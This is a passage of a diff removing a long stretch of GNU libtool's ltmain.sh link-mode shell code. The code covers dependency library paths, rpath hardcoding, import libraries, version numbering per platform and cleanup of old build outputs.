- newlib_search_path="$newlib_search_path $ladir"
- deplibs="$lib $deplibs"
-
- linkalldeplibs=no
- if test "$link_all_deplibs" != no || test -z "$library_names" ||
- test "$build_libtool_libs" = no; then
- linkalldeplibs=yes
- fi
-
- tmp_libs=
- for deplib in $dependency_libs; do
- case $deplib in
- -L*) newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'`;; ### testsuite: skip nested quoting test
- esac
- # Need to link against all dependency_libs?
- if test "$linkalldeplibs" = yes; then
- deplibs="$deplib $deplibs"
- else
- # Need to hardcode shared library paths
- # or/and link against static libraries
- newdependency_libs="$deplib $newdependency_libs"
- fi
- if test "X$duplicate_deps" = "Xyes" ; then
- case "$tmp_libs " in
- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
- esac
- fi
- tmp_libs="$tmp_libs $deplib"
- done # for deplib
- continue
- fi # $linkmode = prog...
-
- if test "$linkmode,$pass" = "prog,link"; then
- if test -n "$library_names" &&
- { test "$prefer_static_libs" = no || test -z "$old_library"; }; then
- # We need to hardcode the library path
- if test -n "$shlibpath_var" && test -z "$avoidtemprpath" ; then
- # Make sure the rpath contains only unique directories.
- case "$temp_rpath " in
- *" $dir "*) ;;
- *" $absdir "*) ;;
- *) temp_rpath="$temp_rpath $absdir" ;;
- esac
- fi
-
- # Hardcode the library path.
- # Skip directories that are in the system default run-time
- # search path.
- case " $sys_lib_dlsearch_path " in
- *" $absdir "*) ;;
- *)
- case "$compile_rpath " in
- *" $absdir "*) ;;
- *) compile_rpath="$compile_rpath $absdir"
- esac
- ;;
- esac
- case " $sys_lib_dlsearch_path " in
- *" $libdir "*) ;;
- *)
- case "$finalize_rpath " in
- *" $libdir "*) ;;
- *) finalize_rpath="$finalize_rpath $libdir"
- esac
- ;;
- esac
- fi # $linkmode,$pass = prog,link...
-
- if test "$alldeplibs" = yes &&
- { test "$deplibs_check_method" = pass_all ||
- { test "$build_libtool_libs" = yes &&
- test -n "$library_names"; }; }; then
- # We only need to search for static libraries
- continue
- fi
- fi
-
- link_static=no # Whether the deplib will be linked statically
- use_static_libs=$prefer_static_libs
- if test "$use_static_libs" = built && test "$installed" = yes ; then
- use_static_libs=no
- fi
- if test -n "$library_names" &&
- { test "$use_static_libs" = no || test -z "$old_library"; }; then
- if test "$installed" = no; then
- notinst_deplibs="$notinst_deplibs $lib"
- need_relink=yes
- fi
- # This is a shared library
-
- # Warn about portability, can't link against -module's on
- # some systems (darwin)
- if test "$shouldnotlink" = yes && test "$pass" = link ; then
- $echo
- if test "$linkmode" = prog; then
- $echo "*** Warning: Linking the executable $output against the loadable module"
- else
- $echo "*** Warning: Linking the shared library $output against the loadable module"
- fi
- $echo "*** $linklib is not portable!"
- fi
- if test "$linkmode" = lib &&
- test "$hardcode_into_libs" = yes; then
- # Hardcode the library path.
- # Skip directories that are in the system default run-time
- # search path.
- case " $sys_lib_dlsearch_path " in
- *" $absdir "*) ;;
- *)
- case "$compile_rpath " in
- *" $absdir "*) ;;
- *) compile_rpath="$compile_rpath $absdir"
- esac
- ;;
- esac
- case " $sys_lib_dlsearch_path " in
- *" $libdir "*) ;;
- *)
- case "$finalize_rpath " in
- *" $libdir "*) ;;
- *) finalize_rpath="$finalize_rpath $libdir"
- esac
- ;;
- esac
- fi
-
- if test -n "$old_archive_from_expsyms_cmds"; then
- # figure out the soname
- set dummy $library_names
- realname="$2"
- shift; shift
- libname=`eval \\$echo \"$libname_spec\"`
- # use dlname if we got it. it's perfectly good, no?
- if test -n "$dlname"; then
- soname="$dlname"
- elif test -n "$soname_spec"; then
- # bleh windows
- case $host in
- *cygwin* | mingw*)
- major=`expr $current - $age`
- versuffix="-$major"
- ;;
- esac
- eval soname=\"$soname_spec\"
- else
- soname="$realname"
- fi
-
- # Make a new name for the extract_expsyms_cmds to use
- soroot="$soname"
- soname=`$echo $soroot | ${SED} -e 's/^.*\///'`
- newlib="libimp-`$echo $soname | ${SED} 's/^lib//;s/\.dll$//'`.a"
-
- # If the library has no export list, then create one now
- if test -f "$output_objdir/$soname-def"; then :
- else
- $show "extracting exported symbol list from \`$soname'"
- save_ifs="$IFS"; IFS='~'
- cmds=$extract_expsyms_cmds
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
- fi
-
- # Create $newlib
- if test -f "$output_objdir/$newlib"; then :; else
- $show "generating import library for \`$soname'"
- save_ifs="$IFS"; IFS='~'
- cmds=$old_archive_from_expsyms_cmds
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
- fi
- # make sure the library variables are pointing to the new library
- dir=$output_objdir
- linklib=$newlib
- fi # test -n "$old_archive_from_expsyms_cmds"
-
- if test "$linkmode" = prog || test "$mode" != relink; then
- add_shlibpath=
- add_dir=
- add=
- lib_linked=yes
- case $hardcode_action in
- immediate | unsupported)
- if test "$hardcode_direct" = no; then
- add="$dir/$linklib"
- case $host in
- *-*-sco3.2v5.0.[024]*) add_dir="-L$dir" ;;
- *-*-sysv4*uw2*) add_dir="-L$dir" ;;
- *-*-sysv5OpenUNIX* | *-*-sysv5UnixWare7.[01].[10]* | \
- *-*-unixware7*) add_dir="-L$dir" ;;
- *-*-darwin* )
- # if the lib is a module then we can not link against
- # it, someone is ignoring the new warnings I added
- if /usr/bin/file -L $add 2> /dev/null |
- $EGREP ": [^:]* bundle" >/dev/null ; then
- $echo "** Warning, lib $linklib is a module, not a shared library"
- if test -z "$old_library" ; then
- $echo
- $echo "** And there doesn't seem to be a static archive available"
- $echo "** The link will probably fail, sorry"
- else
- add="$dir/$old_library"
- fi
- fi
- esac
- elif test "$hardcode_minus_L" = no; then
- case $host in
- *-*-sunos*) add_shlibpath="$dir" ;;
- esac
- add_dir="-L$dir"
- add="-l$name"
- elif test "$hardcode_shlibpath_var" = no; then
- add_shlibpath="$dir"
- add="-l$name"
- else
- lib_linked=no
- fi
- ;;
- relink)
- if test "$hardcode_direct" = yes; then
- add="$dir/$linklib"
- elif test "$hardcode_minus_L" = yes; then
- add_dir="-L$dir"
- # Try looking first in the location we're being installed to.
- if test -n "$inst_prefix_dir"; then
- case $libdir in
- [\\/]*)
- add_dir="$add_dir -L$inst_prefix_dir$libdir"
- ;;
- esac
- fi
- add="-l$name"
- elif test "$hardcode_shlibpath_var" = yes; then
- add_shlibpath="$dir"
- add="-l$name"
- else
- lib_linked=no
- fi
- ;;
- *) lib_linked=no ;;
- esac
-
- if test "$lib_linked" != yes; then
- $echo "$modename: configuration error: unsupported hardcode properties"
- exit $EXIT_FAILURE
- fi
-
- if test -n "$add_shlibpath"; then
- case :$compile_shlibpath: in
- *":$add_shlibpath:"*) ;;
- *) compile_shlibpath="$compile_shlibpath$add_shlibpath:" ;;
- esac
- fi
- if test "$linkmode" = prog; then
- test -n "$add_dir" && compile_deplibs="$add_dir $compile_deplibs"
- test -n "$add" && compile_deplibs="$add $compile_deplibs"
- else
- test -n "$add_dir" && deplibs="$add_dir $deplibs"
- test -n "$add" && deplibs="$add $deplibs"
- if test "$hardcode_direct" != yes && \
- test "$hardcode_minus_L" != yes && \
- test "$hardcode_shlibpath_var" = yes; then
- case :$finalize_shlibpath: in
- *":$libdir:"*) ;;
- *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
- esac
- fi
- fi
- fi
-
- if test "$linkmode" = prog || test "$mode" = relink; then
- add_shlibpath=
- add_dir=
- add=
- # Finalize command for both is simple: just hardcode it.
- if test "$hardcode_direct" = yes; then
- add="$libdir/$linklib"
- elif test "$hardcode_minus_L" = yes; then
- add_dir="-L$libdir"
- add="-l$name"
- elif test "$hardcode_shlibpath_var" = yes; then
- case :$finalize_shlibpath: in
- *":$libdir:"*) ;;
- *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
- esac
- add="-l$name"
- elif test "$hardcode_automatic" = yes; then
- if test -n "$inst_prefix_dir" &&
- test -f "$inst_prefix_dir$libdir/$linklib" ; then
- add="$inst_prefix_dir$libdir/$linklib"
- else
- add="$libdir/$linklib"
- fi
- else
- # We cannot seem to hardcode it, guess we'll fake it.
- add_dir="-L$libdir"
- # Try looking first in the location we're being installed to.
- if test -n "$inst_prefix_dir"; then
- case $libdir in
- [\\/]*)
- add_dir="$add_dir -L$inst_prefix_dir$libdir"
- ;;
- esac
- fi
- add="-l$name"
- fi
-
- if test "$linkmode" = prog; then
- test -n "$add_dir" && finalize_deplibs="$add_dir $finalize_deplibs"
- test -n "$add" && finalize_deplibs="$add $finalize_deplibs"
- else
- test -n "$add_dir" && deplibs="$add_dir $deplibs"
- test -n "$add" && deplibs="$add $deplibs"
- fi
- fi
- elif test "$linkmode" = prog; then
- # Here we assume that one of hardcode_direct or hardcode_minus_L
- # is not unsupported. This is valid on all known static and
- # shared platforms.
- if test "$hardcode_direct" != unsupported; then
- test -n "$old_library" && linklib="$old_library"
- compile_deplibs="$dir/$linklib $compile_deplibs"
- finalize_deplibs="$dir/$linklib $finalize_deplibs"
- else
- compile_deplibs="-l$name -L$dir $compile_deplibs"
- finalize_deplibs="-l$name -L$dir $finalize_deplibs"
- fi
- elif test "$build_libtool_libs" = yes; then
- # Not a shared library
- if test "$deplibs_check_method" != pass_all; then
- # We're trying link a shared library against a static one
- # but the system doesn't support it.
-
- # Just print a warning and add the library to dependency_libs so
- # that the program can be linked against the static library.
- $echo
- $echo "*** Warning: This system can not link to static lib archive $lib."
- $echo "*** I have the capability to make that library automatically link in when"
- $echo "*** you link to this library. But I can only do this if you have a"
- $echo "*** shared version of the library, which you do not appear to have."
- if test "$module" = yes; then
- $echo "*** But as you try to build a module library, libtool will still create "
- $echo "*** a static module, that should work as long as the dlopening application"
- $echo "*** is linked with the -dlopen flag to resolve symbols at runtime."
- if test -z "$global_symbol_pipe"; then
- $echo
- $echo "*** However, this would only work if libtool was able to extract symbol"
- $echo "*** lists from a program, using \`nm' or equivalent, but libtool could"
- $echo "*** not find such a program. So, this module is probably useless."
- $echo "*** \`nm' from GNU binutils and a full rebuild may help."
- fi
- if test "$build_old_libs" = no; then
- build_libtool_libs=module
- build_old_libs=yes
- else
- build_libtool_libs=no
- fi
- fi
- else
- deplibs="$dir/$old_library $deplibs"
- link_static=yes
- fi
- fi # link shared/static library?
-
- if test "$linkmode" = lib; then
- if test -n "$dependency_libs" &&
- { test "$hardcode_into_libs" != yes ||
- test "$build_old_libs" = yes ||
- test "$link_static" = yes; }; then
- # Extract -R from dependency_libs
- temp_deplibs=
- for libdir in $dependency_libs; do
- case $libdir in
- -R*) temp_xrpath=`$echo "X$libdir" | $Xsed -e 's/^-R//'`
- case " $xrpath " in
- *" $temp_xrpath "*) ;;
- *) xrpath="$xrpath $temp_xrpath";;
- esac;;
- *) temp_deplibs="$temp_deplibs $libdir";;
- esac
- done
- dependency_libs="$temp_deplibs"
- fi
-
- newlib_search_path="$newlib_search_path $absdir"
- # Link against this library
- test "$link_static" = no && newdependency_libs="$abs_ladir/$laname $newdependency_libs"
- # ... and its dependency_libs
- tmp_libs=
- for deplib in $dependency_libs; do
- newdependency_libs="$deplib $newdependency_libs"
- if test "X$duplicate_deps" = "Xyes" ; then
- case "$tmp_libs " in
- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
- esac
- fi
- tmp_libs="$tmp_libs $deplib"
- done
-
- if test "$link_all_deplibs" != no; then
- # Add the search paths of all dependency libraries
- for deplib in $dependency_libs; do
- case $deplib in
- -L*) path="$deplib" ;;
- *.la)
- dir=`$echo "X$deplib" | $Xsed -e 's%/[^/]*$%%'`
- test "X$dir" = "X$deplib" && dir="."
- # We need an absolute path.
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*) absdir="$dir" ;;
- *)
- absdir=`cd "$dir" && pwd`
- if test -z "$absdir"; then
- $echo "$modename: warning: cannot determine absolute directory name of \`$dir'" 1>&2
- absdir="$dir"
- fi
- ;;
- esac
- if grep "^installed=no" $deplib > /dev/null; then
- path="$absdir/$objdir"
- else
- eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
- if test -z "$libdir"; then
- $echo "$modename: \`$deplib' is not a valid libtool archive" 1>&2
- exit $EXIT_FAILURE
- fi
- if test "$absdir" != "$libdir"; then
- $echo "$modename: warning: \`$deplib' seems to be moved" 1>&2
- fi
- path="$absdir"
- fi
- depdepl=
- case $host in
- *-*-darwin*)
- # we do not want to link against static libs,
- # but need to link against shared
- eval deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib`
- if test -n "$deplibrary_names" ; then
- for tmp in $deplibrary_names ; do
- depdepl=$tmp
- done
- if test -f "$path/$depdepl" ; then
- depdepl="$path/$depdepl"
- fi
- # do not add paths which are already there
- case " $newlib_search_path " in
- *" $path "*) ;;
- *) newlib_search_path="$newlib_search_path $path";;
- esac
- fi
- path=""
- ;;
- *)
- path="-L$path"
- ;;
- esac
- ;;
- -l*)
- case $host in
- *-*-darwin*)
- # Again, we only want to link against shared libraries
- eval tmp_libs=`$echo "X$deplib" | $Xsed -e "s,^\-l,,"`
- for tmp in $newlib_search_path ; do
- if test -f "$tmp/lib$tmp_libs.dylib" ; then
- eval depdepl="$tmp/lib$tmp_libs.dylib"
- break
- fi
- done
- path=""
- ;;
- *) continue ;;
- esac
- ;;
- *) continue ;;
- esac
- case " $deplibs " in
- *" $path "*) ;;
- *) deplibs="$path $deplibs" ;;
- esac
- case " $deplibs " in
- *" $depdepl "*) ;;
- *) deplibs="$depdepl $deplibs" ;;
- esac
- done
- fi # link_all_deplibs != no
- fi # linkmode = lib
- done # for deplib in $libs
- dependency_libs="$newdependency_libs"
- if test "$pass" = dlpreopen; then
- # Link the dlpreopened libraries before other libraries
- for deplib in $save_deplibs; do
- deplibs="$deplib $deplibs"
- done
- fi
- if test "$pass" != dlopen; then
- if test "$pass" != conv; then
- # Make sure lib_search_path contains only unique directories.
- lib_search_path=
- for dir in $newlib_search_path; do
- case "$lib_search_path " in
- *" $dir "*) ;;
- *) lib_search_path="$lib_search_path $dir" ;;
- esac
- done
- newlib_search_path=
- fi
-
- if test "$linkmode,$pass" != "prog,link"; then
- vars="deplibs"
- else
- vars="compile_deplibs finalize_deplibs"
- fi
- for var in $vars dependency_libs; do
- # Add libraries to $var in reverse order
- eval tmp_libs=\"\$$var\"
- new_libs=
- for deplib in $tmp_libs; do
- # FIXME: Pedantically, this is the right thing to do, so
- # that some nasty dependency loop isn't accidentally
- # broken:
- #new_libs="$deplib $new_libs"
- # Pragmatically, this seems to cause very few problems in
- # practice:
- case $deplib in
- -L*) new_libs="$deplib $new_libs" ;;
- -R*) ;;
- *)
- # And here is the reason: when a library appears more
- # than once as an explicit dependence of a library, or
- # is implicitly linked in more than once by the
- # compiler, it is considered special, and multiple
- # occurrences thereof are not removed. Compare this
- # with having the same library being listed as a
- # dependency of multiple other libraries: in this case,
- # we know (pedantically, we assume) the library does not
- # need to be listed more than once, so we keep only the
- # last copy. This is not always right, but it is rare
- # enough that we require users that really mean to play
- # such unportable linking tricks to link the library
- # using -Wl,-lname, so that libtool does not consider it
- # for duplicate removal.
- case " $specialdeplibs " in
- *" $deplib "*) new_libs="$deplib $new_libs" ;;
- *)
- case " $new_libs " in
- *" $deplib "*) ;;
- *) new_libs="$deplib $new_libs" ;;
- esac
- ;;
- esac
- ;;
- esac
- done
- tmp_libs=
- for deplib in $new_libs; do
- case $deplib in
- -L*)
- case " $tmp_libs " in
- *" $deplib "*) ;;
- *) tmp_libs="$tmp_libs $deplib" ;;
- esac
- ;;
- *) tmp_libs="$tmp_libs $deplib" ;;
- esac
- done
- eval $var=\"$tmp_libs\"
- done # for var
- fi
- # Last step: remove runtime libs from dependency_libs
- # (they stay in deplibs)
- tmp_libs=
- for i in $dependency_libs ; do
- case " $predeps $postdeps $compiler_lib_search_path " in
- *" $i "*)
- i=""
- ;;
- esac
- if test -n "$i" ; then
- tmp_libs="$tmp_libs $i"
- fi
- done
- dependency_libs=$tmp_libs
- done # for pass
- if test "$linkmode" = prog; then
- dlfiles="$newdlfiles"
- dlprefiles="$newdlprefiles"
- fi
-
- case $linkmode in
- oldlib)
- if test -n "$deplibs"; then
- $echo "$modename: warning: \`-l' and \`-L' are ignored for archives" 1>&2
- fi
-
- if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then
- $echo "$modename: warning: \`-dlopen' is ignored for archives" 1>&2
- fi
-
- if test -n "$rpath"; then
- $echo "$modename: warning: \`-rpath' is ignored for archives" 1>&2
- fi
-
- if test -n "$xrpath"; then
- $echo "$modename: warning: \`-R' is ignored for archives" 1>&2
- fi
-
- if test -n "$vinfo"; then
- $echo "$modename: warning: \`-version-info/-version-number' is ignored for archives" 1>&2
- fi
-
- if test -n "$release"; then
- $echo "$modename: warning: \`-release' is ignored for archives" 1>&2
- fi
-
- if test -n "$export_symbols" || test -n "$export_symbols_regex"; then
- $echo "$modename: warning: \`-export-symbols' is ignored for archives" 1>&2
- fi
-
- # Now set the variables for building old libraries.
- build_libtool_libs=no
- oldlibs="$output"
- objs="$objs$old_deplibs"
- ;;
-
- lib)
- # Make sure we only generate libraries of the form `libNAME.la'.
- case $outputname in
- lib*)
- name=`$echo "X$outputname" | $Xsed -e 's/\.la$//' -e 's/^lib//'`
- eval shared_ext=\"$shrext_cmds\"
- eval libname=\"$libname_spec\"
- ;;
- *)
- if test "$module" = no; then
- $echo "$modename: libtool library \`$output' must begin with \`lib'" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
- if test "$need_lib_prefix" != no; then
- # Add the "lib" prefix for modules if required
- name=`$echo "X$outputname" | $Xsed -e 's/\.la$//'`
- eval shared_ext=\"$shrext_cmds\"
- eval libname=\"$libname_spec\"
- else
- libname=`$echo "X$outputname" | $Xsed -e 's/\.la$//'`
- fi
- ;;
- esac
-
- if test -n "$objs"; then
- if test "$deplibs_check_method" != pass_all; then
- $echo "$modename: cannot build libtool library \`$output' from non-libtool objects on this host:$objs" 2>&1
- exit $EXIT_FAILURE
- else
- $echo
- $echo "*** Warning: Linking the shared library $output against the non-libtool"
- $echo "*** objects $objs is not portable!"
- libobjs="$libobjs $objs"
- fi
- fi
-
- if test "$dlself" != no; then
- $echo "$modename: warning: \`-dlopen self' is ignored for libtool libraries" 1>&2
- fi
-
- set dummy $rpath
- if test "$#" -gt 2; then
- $echo "$modename: warning: ignoring multiple \`-rpath's for a libtool library" 1>&2
- fi
- install_libdir="$2"
-
- oldlibs=
- if test -z "$rpath"; then
- if test "$build_libtool_libs" = yes; then
- # Building a libtool convenience library.
- # Some compilers have problems with a `.al' extension so
- # convenience libraries should have the same extension an
- # archive normally would.
- oldlibs="$output_objdir/$libname.$libext $oldlibs"
- build_libtool_libs=convenience
- build_old_libs=yes
- fi
-
- if test -n "$vinfo"; then
- $echo "$modename: warning: \`-version-info/-version-number' is ignored for convenience libraries" 1>&2
- fi
-
- if test -n "$release"; then
- $echo "$modename: warning: \`-release' is ignored for convenience libraries" 1>&2
- fi
- else
-
- # Parse the version information argument.
- save_ifs="$IFS"; IFS=':'
- set dummy $vinfo 0 0 0
- IFS="$save_ifs"
-
- if test -n "$8"; then
- $echo "$modename: too many parameters to \`-version-info'" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # convert absolute version numbers to libtool ages
- # this retains compatibility with .la files and attempts
- # to make the code below a bit more comprehensible
-
- case $vinfo_number in
- yes)
- number_major="$2"
- number_minor="$3"
- number_revision="$4"
- #
- # There are really only two kinds -- those that
- # use the current revision as the major version
- # and those that subtract age and use age as
- # a minor version. But, then there is irix
- # which has an extra 1 added just for fun
- #
- case $version_type in
- darwin|linux|osf|windows)
- current=`expr $number_major + $number_minor`
- age="$number_minor"
- revision="$number_revision"
- ;;
- freebsd-aout|freebsd-elf|sunos)
- current="$number_major"
- revision="$number_minor"
- age="0"
- ;;
- irix|nonstopux)
- current=`expr $number_major + $number_minor - 1`
- age="$number_minor"
- revision="$number_minor"
- ;;
- esac
- ;;
- no)
- current="$2"
- revision="$3"
- age="$4"
- ;;
- esac
-
- # Check that each of the things are valid numbers.
- case $current in
- 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;;
- *)
- $echo "$modename: CURRENT \`$current' must be a nonnegative integer" 1>&2
- $echo "$modename: \`$vinfo' is not valid version information" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- case $revision in
- 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;;
- *)
- $echo "$modename: REVISION \`$revision' must be a nonnegative integer" 1>&2
- $echo "$modename: \`$vinfo' is not valid version information" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- case $age in
- 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;;
- *)
- $echo "$modename: AGE \`$age' must be a nonnegative integer" 1>&2
- $echo "$modename: \`$vinfo' is not valid version information" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- if test "$age" -gt "$current"; then
- $echo "$modename: AGE \`$age' is greater than the current interface number \`$current'" 1>&2
- $echo "$modename: \`$vinfo' is not valid version information" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Calculate the version variables.
- major=
- versuffix=
- verstring=
- case $version_type in
- none) ;;
-
- darwin)
- # Like Linux, but with the current version available in
- # verstring for coding it into the library header
- major=.`expr $current - $age`
- versuffix="$major.$age.$revision"
- # Darwin ld doesn't like 0 for these options...
- minor_current=`expr $current + 1`
- verstring="${wl}-compatibility_version ${wl}$minor_current ${wl}-current_version ${wl}$minor_current.$revision"
- ;;
-
- freebsd-aout)
- major=".$current"
- versuffix=".$current.$revision";
- ;;
-
- freebsd-elf)
- major=".$current"
- versuffix=".$current";
- ;;
-
- irix | nonstopux)
- major=`expr $current - $age + 1`
-
- case $version_type in
- nonstopux) verstring_prefix=nonstopux ;;
- *) verstring_prefix=sgi ;;
- esac
- verstring="$verstring_prefix$major.$revision"
-
- # Add in all the interfaces that we are compatible with.
- loop=$revision
- while test "$loop" -ne 0; do
- iface=`expr $revision - $loop`
- loop=`expr $loop - 1`
- verstring="$verstring_prefix$major.$iface:$verstring"
- done
-
- # Before this point, $major must not contain `.'.
- major=.$major
- versuffix="$major.$revision"
- ;;
-
- linux)
- major=.`expr $current - $age`
- versuffix="$major.$age.$revision"
- ;;
-
- osf)
- major=.`expr $current - $age`
- versuffix=".$current.$age.$revision"
- verstring="$current.$age.$revision"
-
- # Add in all the interfaces that we are compatible with.
- loop=$age
- while test "$loop" -ne 0; do
- iface=`expr $current - $loop`
- loop=`expr $loop - 1`
- verstring="$verstring:${iface}.0"
- done
-
- # Make executables depend on our current version.
- verstring="$verstring:${current}.0"
- ;;
-
- sunos)
- major=".$current"
- versuffix=".$current.$revision"
- ;;
-
- windows)
- # Use '-' rather than '.', since we only want one
- # extension on DOS 8.3 filesystems.
- major=`expr $current - $age`
- versuffix="-$major"
- ;;
-
- *)
- $echo "$modename: unknown library version type \`$version_type'" 1>&2
- $echo "Fatal configuration error. See the $PACKAGE docs for more information." 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- # Clear the version info if we defaulted, and they specified a release.
- if test -z "$vinfo" && test -n "$release"; then
- major=
- case $version_type in
- darwin)
- # we can't check for "0.0" in archive_cmds due to quoting
- # problems, so we reset it completely
- verstring=
- ;;
- *)
- verstring="0.0"
- ;;
- esac
- if test "$need_version" = no; then
- versuffix=
- else
- versuffix=".0.0"
- fi
- fi
-
- # Remove version info from name if versioning should be avoided
- if test "$avoid_version" = yes && test "$need_version" = no; then
- major=
- versuffix=
- verstring=""
- fi
-
- # Check to see if the archive will have undefined symbols.
- if test "$allow_undefined" = yes; then
- if test "$allow_undefined_flag" = unsupported; then
- $echo "$modename: warning: undefined symbols not allowed in $host shared libraries" 1>&2
- build_libtool_libs=no
- build_old_libs=yes
- fi
- else
- # Don't allow undefined symbols.
- allow_undefined_flag="$no_undefined_flag"
- fi
- fi
-
- if test "$mode" != relink; then
- # Remove our outputs, but don't remove object files since they
- # may have been created when compiling PIC objects.
- removelist=
- tempremovelist=`$echo "$output_objdir/*"`
- for p in $tempremovelist; do
- case $p in
- *.$objext)
- ;;
- $output_objdir/$outputname | $output_objdir/$libname.* | $output_objdir/${libname}${release}.*)
- if test "X$precious_files_regex" != "X"; then
- if echo $p | $EGREP -e "$precious_files_regex" >/dev/null 2>&1
- then
- continue
- fi
- fi
- removelist="$removelist $p"
- ;;
- *) ;;
- esac
- done
- if test -n "$removelist"; then
- $show "${rm}r $removelist"
- $run ${rm}r $removelist
- fi
- fi
-
- # Now set the variables for building old libraries.
- if test "$build_old_libs" = yes && test "$build_libtool_libs" != convenience ; then
- oldlibs="$oldlibs $output_objdir/$libname.$libext"
-
- # Transform .lo files to .o files.
- oldobjs="$objs "`$echo "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}'$/d' -e "$lo2o" | $NL2SP`
- fi
-
- # Eliminate all temporary directories.
- for path in $notinst_path; do
- lib_search_path=`$echo "$lib_search_path " | ${SED} -e "s% $path % %g"`
- deplibs=`$echo "$deplibs " | ${SED} -e "s% -L$path % %g"`
- dependency_libs=`$echo "$dependency_libs " | ${SED} -e "s% -L$path % %g"`
- done
-
- if test -n "$xrpath"; then
- # If the user specified any rpath flags, then add them.
- temp_xrpath=
- for libdir in $xrpath; do
- temp_xrpath="$temp_xrpath -R$libdir"
- case "$finalize_rpath " in
- *" $libdir "*) ;;
- *) finalize_rpath="$finalize_rpath $libdir" ;;
- esac
- done
- if test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes; then
- dependency_libs="$temp_xrpath $dependency_libs"
- fi
- fi
-
- # Make sure dlfiles contains only unique files that won't be dlpreopened
- old_dlfiles="$dlfiles"
- dlfiles=
- for lib in $old_dlfiles; do
- case " $dlprefiles $dlfiles " in
- *" $lib "*) ;;
- *) dlfiles="$dlfiles $lib" ;;
- esac
- done
-
- # Make sure dlprefiles contains only unique files
- old_dlprefiles="$dlprefiles"
- dlprefiles=
- for lib in $old_dlprefiles; do
- case "$dlprefiles " in
- *" $lib "*) ;;
- *) dlprefiles="$dlprefiles $lib" ;;
- esac
- done
-
- if test "$build_libtool_libs" = yes; then
- if test -n "$rpath"; then
- case $host in
- *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-beos*)
- # these systems don't actually have a c library (as such)!
- ;;
- *-*-rhapsody* | *-*-darwin1.[012])
- # Rhapsody C library is in the System framework
- deplibs="$deplibs -framework System"
- ;;
- *-*-netbsd*)
- # Don't link with libc until the a.out ld.so is fixed.
- ;;
- *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*)
- # Do not include libc due to us having libc/libc_r.
- ;;
- *-*-sco3.2v5* | *-*-sco5v6*)
- # Causes problems with __ctype
- ;;
- *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*)
- # Compiler inserts libc in the correct place for threads to work
- ;;
- *)
- # Add libc to deplibs on all other systems if necessary.
- if test "$build_libtool_need_lc" = "yes"; then
- deplibs="$deplibs -lc"
- fi
- ;;
- esac
- fi
-
- # Transform deplibs into only deplibs that can be linked in shared.
- name_save=$name
- libname_save=$libname
- release_save=$release
- versuffix_save=$versuffix
- major_save=$major
- # I'm not sure if I'm treating the release correctly. I think
- # release should show up in the -l (ie -lgmp5) so we don't want to
- # add it in twice. Is that correct?
- release=""
- versuffix=""
- major=""
- newdeplibs=
- droppeddeps=no
- case $deplibs_check_method in
- pass_all)
- # Don't check for shared/static. Everything works.
- # This might be a little naive. We might want to check
- # whether the library exists or not. But this is on
- # osf3 & osf4 and I'm not really sure... Just
- # implementing what was already the behavior.
- newdeplibs=$deplibs
- ;;
- test_compile)
- # This code stresses the "libraries are programs" paradigm to its
- # limits. Maybe even breaks it. We compile a program, linking it
- # against the deplibs as a proxy for the library. Then we can check
- # whether they linked in statically or dynamically with ldd.
- $rm conftest.c
- cat > conftest.c <<EOF
- int main() { return 0; }
-EOF
- $rm conftest
- $LTCC $LTCFLAGS -o conftest conftest.c $deplibs
- if test "$?" -eq 0 ; then
- ldd_output=`ldd conftest`
- for i in $deplibs; do
- name=`expr $i : '-l\(.*\)'`
- # If $name is empty we are operating on a -L argument.
- if test "$name" != "" && test "$name" -ne "0"; then
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $i "*)
- newdeplibs="$newdeplibs $i"
- i=""
- ;;
- esac
- fi
- if test -n "$i" ; then
- libname=`eval \\$echo \"$libname_spec\"`
- deplib_matches=`eval \\$echo \"$library_names_spec\"`
- set dummy $deplib_matches
- deplib_match=$2
- if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
- newdeplibs="$newdeplibs $i"
- else
- droppeddeps=yes
- $echo
- $echo "*** Warning: dynamic linker does not accept needed library $i."
- $echo "*** I have the capability to make that library automatically link in when"
- $echo "*** you link to this library. But I can only do this if you have a"
- $echo "*** shared version of the library, which I believe you do not have"
- $echo "*** because a test_compile did reveal that the linker did not use it for"
- $echo "*** its dynamic dependency list that programs get resolved with at runtime."
- fi
- fi
- else
- newdeplibs="$newdeplibs $i"
- fi
- done
- else
- # Error occurred in the first compile. Let's try to salvage
- # the situation: Compile a separate program for each library.
- for i in $deplibs; do
- name=`expr $i : '-l\(.*\)'`
